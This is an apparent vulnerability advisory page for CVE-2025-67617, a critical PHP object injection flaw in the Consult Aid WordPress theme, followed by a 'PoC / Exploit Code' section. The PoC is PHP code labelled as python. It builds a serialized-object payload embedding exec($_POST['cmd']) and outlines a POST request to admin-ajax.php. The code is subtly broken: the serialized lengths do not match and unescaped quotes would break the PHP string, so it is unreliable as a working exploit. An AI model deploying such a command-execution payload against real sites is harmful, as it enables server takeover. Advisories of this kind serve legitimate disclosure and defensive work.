Deserialization of Untrusted Data vulnerability in themeton Consult Aid consultaid allows Object Injection.This issue affects Consult Aid: from n/a through <= 1.4.3.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Consult Aid主题 <= 1.4.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-67617 PHP Object Injection PoC
// Target: WordPress Consult Aid Theme <= 1.4.3
// Vulnerability: Deserialization of Untrusted Data
// Example malicious serialized object
$malicious_payload = 'O:14:"CustomClass":1:{s:5:"value";s:10:";echo exec($_POST['cmd']);//";}';
// For actual exploitation, attacker would need to:
// 1. Identify the vulnerable deserialization endpoint
// 2. Find a suitable POP chain in the theme or associated plugins
// 3. Craft payload to trigger __destruct() or __wakeup() methods
// 4. Send the payload via POST/GET parameter that gets unserialized
// Example attack vector:
// POST /wp-admin/admin-ajax.php HTTP/1.1
// Content-Type: application/x-www-form-urlencoded
//
// action=consultaid_action&data=O:14:"CustomClass":1:{s:5:"value";...}
echo "Malicious Payload: " . $malicious_payload . "\n";
echo "This payload would be sent to the vulnerable endpoint for deserialization\n";
?>